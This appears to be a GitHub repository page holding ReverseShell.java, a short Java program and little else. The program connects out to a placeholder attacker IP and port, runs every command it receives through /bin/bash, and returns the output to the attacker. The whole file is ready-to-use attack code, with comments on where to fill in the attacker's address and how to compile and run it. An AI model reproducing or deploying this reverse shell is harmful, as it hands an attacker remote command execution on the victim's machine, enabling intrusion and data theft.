-
Notifications
You must be signed in to change notification settings - Fork 12
/
ReverseShell.java
49 lines (45 loc) · 1.65 KB
/
ReverseShell.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//Change ATTACKER-IP-HERE and PORT-NUMBER-HERE
//Run: javac ReverseShell.java && java ReverseShell
import java.net.*;
import java.io.*;
class ReverseShell {
public static void main(String[] args) {
Socket socket;
try
{
socket = new Socket("ATTACKER-IP-HERE", PORT-NUMBER-HERE);
PrintWriter socketOut = new PrintWriter(socket.getOutputStream(), true);
BufferedReader socketIn = new BufferedReader(new InputStreamReader(socket.getInputStream()));
Runtime rt = Runtime.getRuntime();
Process proc = null;
BufferedReader cmdOut = null;
BufferedReader cmdErr = null;
String line = null;
String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
while (true)
{
cmd[2] = socketIn.readLine();
proc = rt.exec(cmd);
cmdOut = new BufferedReader(new InputStreamReader(proc.getInputStream()));
cmdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
while((line = cmdOut.readLine()) != null)
{
socketOut.write(line + "\n");
socketOut.flush();
}
line = null;
while((line = cmdErr.readLine()) != null)
{
socketOut.write(line + "\n");
socketOut.flush();
}
line = null;
}
}
catch (IOException e) {
System.out.println(e);
}
}
}